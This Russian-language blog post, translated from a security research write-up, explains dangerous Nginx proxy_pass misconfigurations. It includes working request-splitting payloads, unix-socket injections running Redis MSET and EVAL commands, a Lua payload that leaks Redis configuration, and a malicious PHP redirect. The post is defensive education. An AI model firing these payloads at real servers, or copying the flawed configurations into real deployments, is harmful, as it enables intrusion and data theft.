Pull to refresh
113.76
Cloud4Y
#1 Корпоративный облачный провайдер

Продолжение. Частые ошибки в настройках Nginx, из-за которых веб-сервер становится уязвимым

Reading time8 min
Views17K
Original author: Frans Rosen, Mathias Karlsson, Fredrik Nordberg Almroth

Ранее Cloud4Y рассказал про уязвимости веб-серверов Nginx, балансировщиков нагрузки и прокси-серверов. Что-то из этого вы могли знать, а что-то, надеемся, стало полезной информацией.

Но история не закончилась. Многочисленные программы bug bounties позволяют проводить широкомасштабные исследования, благодаря которым удаётся найти реально действующие уязвимости. Проект Gixy помог найти множество неправильных конфигураций промежуточного ПО, но далеко не все. Что ещё удалось обнаружить:

Промежуточное ПО повсюду

Использование расщепления HTTP-запроса с облачным хранилищем

Расщепление HTTP-ответа — уже не новая история, про неё много писали. Уязвимость является частью чек-листа OWASP. Однако мы наблюдаем все большее число хостов, использующих прокси-решения для статического контента в облачном хранилище S3 на /media/, /images/, /sitemap/ и других подобных местах. Если регулярные выражения в этих случаях слабы, они позволяют сделать старое доброе расщепление запросов. Облачные хранилища, которые в основном используют заголовки Host, чтобы определить, из какого хранилища обслуживать, являются идеальными кандидатами на использование на другой стороне прокси.

Допустим, у вас есть веб-сервер и вы хотите проксировать внешний контент по определённым путям. Одним из примеров этого могут быть медиаданные, размещенные на S3, или совершенно любое приложение под yourdomain.com/docs/.

Одна из конфигураций, которую вы могли бы создать (предупреждаем: так делать не надо), может выглядеть так:

location ~ /docs/([^/]*/[^/]*)? {
    proxy_pass https://bucket.s3.amazonaws.com/docs-website/$1.html;
}

В этом случае любой URL-адрес под yourdomain.com/docs/ будет обслуживаться из S3. Регулярное выражение утверждает, что yourdomain.com/docs/help/contact-us извлёк бы S3-объект, расположенный по адресу:

https://bucket.s3.amazonaws.com/docs-website/help/contact-us.html;

Проблема с этим регулярным выражением заключается в том, что оно также допускает новые строки по умолчанию. В этом случае часть [^/]* фактически также включает в себя закодированные новые строки. И когда группа регулярных выражений передаётся в proxy_pass, группа декодируется URL-адресом. Это означает, что следующий запрос:

GET /docs/%20HTTP/1.1%0d%0aHost:non-existing-bucket1%0d%0a%0d%0a HTTP/1.1
Host: yourdomain.com

На самом деле сделал бы следующий запрос с веб-сервера на S3:

GET /docs-website/ HTTP/1.1
Host:non-existing-bucket1

.html HTTP/1.0
Host: bucket.s3.amazonaws.com

Где S3 для извлечения содержимого из хранилища называется non-existing-bucket1. Ответом в этом случае будет:

Данная уязвимость была обнаружена несколько раз. Результатом этого является внедрение разного контента в один и тот же домен.

Gixy показал проблему, когда регулярное выражение в местоположении также захватывает новые строки. Однако есть и другие случаи, когда Gixy не знает о влиянии возможности контролировать части путей. Мы видели такие проблемы с подобными nginx-конфигурациями:

location ~ /images([0-9]+)/([^\s]+) {
    proxy_pass https://s3.amazonaws.com/companyname-images$1/$2;
}

В этом случае компания использовала несколько хранилищ, которые были использованы для /images 1/ и /images 2/. Однако, поскольку регулярное выражение допускает любое число, предоставление гораздо большего числа в URL-адресе позволит нам создать новое хранилище и обслуживать в нём наш контент. Например yourcompany.com/images999999/, как на картинке ниже:

Управление прокси-сервером

В некоторых настройках соответствующий путь используется как часть имени сервера для прокси:

location ~ /static/(.*)/(.*) {
proxy_pass   http://$1-example.s3.amazonaws.com/$2;
}

В этом случае любой URL-адрес в yourdomain.com/static/js/ будет обслуживаться из S3 в соответствующей хранилищу js-example. Регулярное выражение утверждает, что yourdomain.com/static/js/app-1555347823-min.js будет извлекать S3-объект, расположенный по адресу:

http://js-example.s3.amazonaws.com/app-1555347823-min.js;

Поскольку хранилище контролируется злоумышленником (часть пути URI), это приводит к XSS, но также имеет дальнейшие последствия.

Функция proxy_pass в Nginx поддерживает проксирование запросов к локальным unix-сокетам. Что может быть удивительно, так это то, что URI, заданный proxy_pass, может быть префиксом http:// или путём сокета UNIX-домена, указанного после слова unix и заключённого в двоеточия:

Это означает, что мы могли бы заставить proxy_pass подключаться к локальному сокету unix и контролировать часть данных, которые будут на него отправлены. Опасность уязвимости различается в зависимости от того, кто прослушивает сокет, но, как вы и сами понимаете, это далеко не безобидная вещь.

Давайте посмотрим, как такую настройку можно использовать для отправки и получения произвольных команд в/из Redis, размещённого в локальном сокете unix.  Предполагается, что права доступа к сокету Redis разрешены пользователю сервером Nginx.

Меры по смягчению последствий

В атаках SSRF/XSPA на redis нет ничего нового, и команда redis приняла некоторые меры для предотвращения подобных атак. Следующие условия заставят redis закрыть соединение и прекратить синтаксический анализ команд:

  1. Строка начинается с POST

  2. Строка начинается с Host:

Первый вариант смягчает классический сценарий, когда злоумышленник будет использовать тело запроса для отправки команд. Второй смягчает любые атаки на основе HTTP (по крайней мере, те, которые содержат данные ниже заголовка Host). Однако, если бы мы могли каким-то образом использовать первую строку запроса для выполнения команд redis, то эту защиту можно было бы обойти.

Чтобы проверить, возможно ли это, мы настроили локальный сокет Unix с помощью socat и сервера Nginx, настроенного с ошибкой:

$ socat UNIX-LISTEN:/tmp/mysocket STDOUT
location ~ /static/(.*)/(.*.js) {
    proxy_pass   http://$1-example.s3.amazonaws.com/$2;
}

По этому запросу:

GET /static/unix:%2ftmp%2fmysocket:TEST/app-1555347823-min.js HTTP/1.1
Host: example.com

Сокет получает следующую информацию:

GET TEST-example.s3.amazonaws.com/app-1555347823-min.js HTTP/1.0
Host: localhost
Connection: close

Что здесь произошло? Сбой:

  1. Полный URL-адрес proxy_pass становится http://unix:/tmp/mysocket:TEST-example.s3.amazonaws.com/app-1555347823-min.js

  2. Первая часть данных, отправляемых в сокет, — это метод HTTP-запроса GET

  3. Вторая часть — это данные, которые мы указали в качестве TEST

  4. Третья часть — это жёстко закодированная ... example.s3.amazonaws.com/

  5. Четвертая часть — это имя файла, или вторая группа в соответствующем регулярном выражении app-1555347823-min.js

Отлично! Конечно, мы можем просто использовать красную (GET) и зелёную (TEST) части, чтобы создать команду redis и прокомментировать остальное.

Но, к сожалению, в redis нет комментариев. А это значит, что, хотя мы можем вставлять пробелы, чтобы сделать жёлтую и синюю части аргументами команды, redis очень строг в отношении ввода и дополнительных аргументов.

Как это выглядит

Нам не удастся использовать тело запроса или другие заголовки, так как Nginx всегда будет добавлять заголовок Host: непосредственно под первой строкой запроса, что, как уже упоминалось, заставит redis разорвать соединение и остановить атаку.

Перезапись ключа Redis

К счастью, существуют команды redis, принимающие переменное количество аргументов. MSET (https://redis.io/commands/mset) принимает переменное количество ключей и значений:

MSET key1 "Hello" key2 "World"
GET key1
“Hello”
GET key2
“World”

Другими словами, мы можем использовать такой запрос для записи любого ключа:

MSET /static/unix:%2ftmp%2fmysocket:hacked%20%22true%22%20/app-1555347823-min.js HTTP/1.1
Host: example.com

Результатом являются следующие данные о сокете (для redis):

MSET hacked "true" -example.s3.amazonaws.com/app-1555347823-min.js 
HTTP/1.0
Host: localhost
Connection: close

Проверяем redis на наличие взломанного ключа:

127.0.0.1:6379> get hacked
"true"

Отлично! Мы подтвердили, что можем писать любые ключи. Но как насчёт выдачи команд, которые не принимают переменное количество аргументов?

Произвольное выполнение команд Redis

Команды Redis EVAL

Оказывается, команда Redis EVAL тоже принимает переменное количество аргументов:

  • Первый аргумент EVAL — это сценарий Lua 5.1.

  • Второй аргумент EVAL — это количество аргументов, следующих за сценарием (начиная с третьего аргумента), представляющим имена ключей Redis.

  • Все дополнительные аргументы не должны представлять имена ключей и могут быть доступны Lua с помощью глобальной переменной ARGV.

Мы можем выполнять команды Redis из EVAL, используя две разные функции Lua:

  • redis.call ()

  • redis.pcall ()

Давайте попробуем использовать EVAL, чтобы перезаписать ключ конфигурации maxclients:

EVAL
/static/unix:%2ftmp%2fmysocket:%22return%20redis.call('config','set','maxclients',1337)%22%200%20/app-1555347823-min.js 
Host: example.com

Результат:

EVAL "return redis.call('config','set','maxclients',1337)" 0 -example.s3.amazonaws.com/app-1555347823-min.js HTTP/1.0
Host: localhost
Connection: close
Как это выглядит

Проверка ключа maxclients после запроса:

127.0.0.1:6379> config get maxclients
1) "maxclients"
2) "1337"

Отлично! Мы можем использовать произвольные команды redis. Только есть одна проблема. Ни на одну из этих команд не возвращается валидный HTTP-ответ, и Nginx не пересылает выходные данные команд клиенту, а вместо этого выдаёт общую ошибку 502 Bad Gateway.

Так как же мы извлекаем данные?

Чтение вывода Redis

К нашему удивлению, мы можем избежать ошибки 502, просто поместив строку HTTP / 1.0 200 OK в любом месте ответа, и полный ответ Redis будет перенаправлен клиенту. Даже если это не первая строчка ответа!

Чтобы убедиться, что ответ от Redis всегда содержит эту строку, мы можем использовать конкатенацию строк в скрипте Lua.

Пример извлечения ответа от команды CONFIG GET *:

EVAL /static/unix:%2ftmp%2fmysocket:'return%20(table.concat(redis.call("config","get","*"),"\n").."%20HTTP/1.1%20200%20OK\r\n\r\n")'%200%20/app-1555347823-min.js HTTP/1.1
Host: example.com

В результате:

EVAL 'return (table.concat(redis.call("config","get","*"),"\n").." HTTP/1.1 200 OK\r\n\r\n")' 0 -example.s3.amazonaws.com/app-1555347823-min.js HTTP/1.0
Host: localhost
Connection: close

И вывод пересылается клиенту:

После переадресации

Теперь мы можем пойти дальше. Если вы хотите, чтобы proxy_pass следовал за перенаправлениями, а не отражал их, то увы. Для этого нет настройки. Однако множество примеров (привет, StackOverflow) показывают, что вы можете сделать следующее (предупреждаем: так делать не надо):

location ~ /images(.*) {
    proxy_intercept_errors on;
    proxy_pass   http://example.com$1;
    error_page 301 302 307 303 = @handle_redirects;
}
location @handle_redirects {
    set $original_uri $uri;
    set $orig_loc $upstream_http_location;
    proxy_pass $orig_loc;
}

Получается, что если исходный хост отвечает статусом 301, то он будет использовать заголовок location-header и передавать его другому proxy_pass внутри @handle_redirects. Это означает, что если выполняется такая перезапись и в источнике существует открытое перенаправление, мы контролируем всю часть proxy_pass. Однако это требует, чтобы исходный хост перенаправлял при использовании HTTP-метода EVAL. Но, как показано выше, если мы можем сделать запрос указывающим на наш вредоносный источник, мы можем быть уверены, что он также перенаправит запрос EVAL обратно в unix-сокет:

error_page 404 405 =301 @405;
location @405 {
  try_files /index.php?$args /index.php?$args;
}
<?
header('Location: http://unix:/tmp/redis.sock:\'return (table.concat(redis.call("config","get","*"),"\n").." HTTP/1.1 200 OK\r\n\r\n")\' 1 ', true, 301);

Доступ к внутренним блокам Nginx

Используя заголовок ответа X-Accel-Redirect, мы можем сделать внутреннее перенаправление Nginx для обслуживания другого блока конфигурации, даже если он отмечен внутренней директивой:

location /internal_only/ {
    internal;
    root /var/www/html/internal/;
}

Доступ к локальным ограниченным блокам Nginx

Используя имя хоста с DNS-указателем на 127.0.0.1, мы можем сделать внутреннее перенаправление Nginx на блоки, разрешающие только localhost:

location /localhost_only/ {
    deny all;
    allow 127.0.0.1;
    root /var/www/html/internal/;
}

Вывод

Промежуточное ПО играет решающую роль в том, чтобы ваша платформа веб-сервера могла предоставлять веб-сервисы, необходимые современным веб-приложениям. Однако повсеместность и полезность такого ПО также означают, что есть потенциальные уязвимости, которые нужно знать и закрывать, особенно если вы работаете на платформе с открытым исходным кодом вроде Nginx.


Что ещё интересного есть в блоге Cloud4Y

→ Частые ошибки в настройках Nginx, из-за которых веб-сервер становится уязвимым

→ Пароль как крестраж: ещё один способ защитить свои учётные данные

→ Тим Бернерс-Ли предлагает хранить персональные данные в подах

→ Подготовка шаблона vApp тестовой среды VMware vCenter + ESXi

→ Создание группы доступности AlwaysON на основе кластера Failover

Подписывайтесь на наш Telegram-канал, чтобы не пропустить очередную статью. Пишем не чаще двух раз в неделю и только по делу.

Tags:
Hubs:
+13
Comments1

Articles

Information

Website
www.cloud4y.ru
Registered
Founded
2009
Employees
51–100 employees
Location
Россия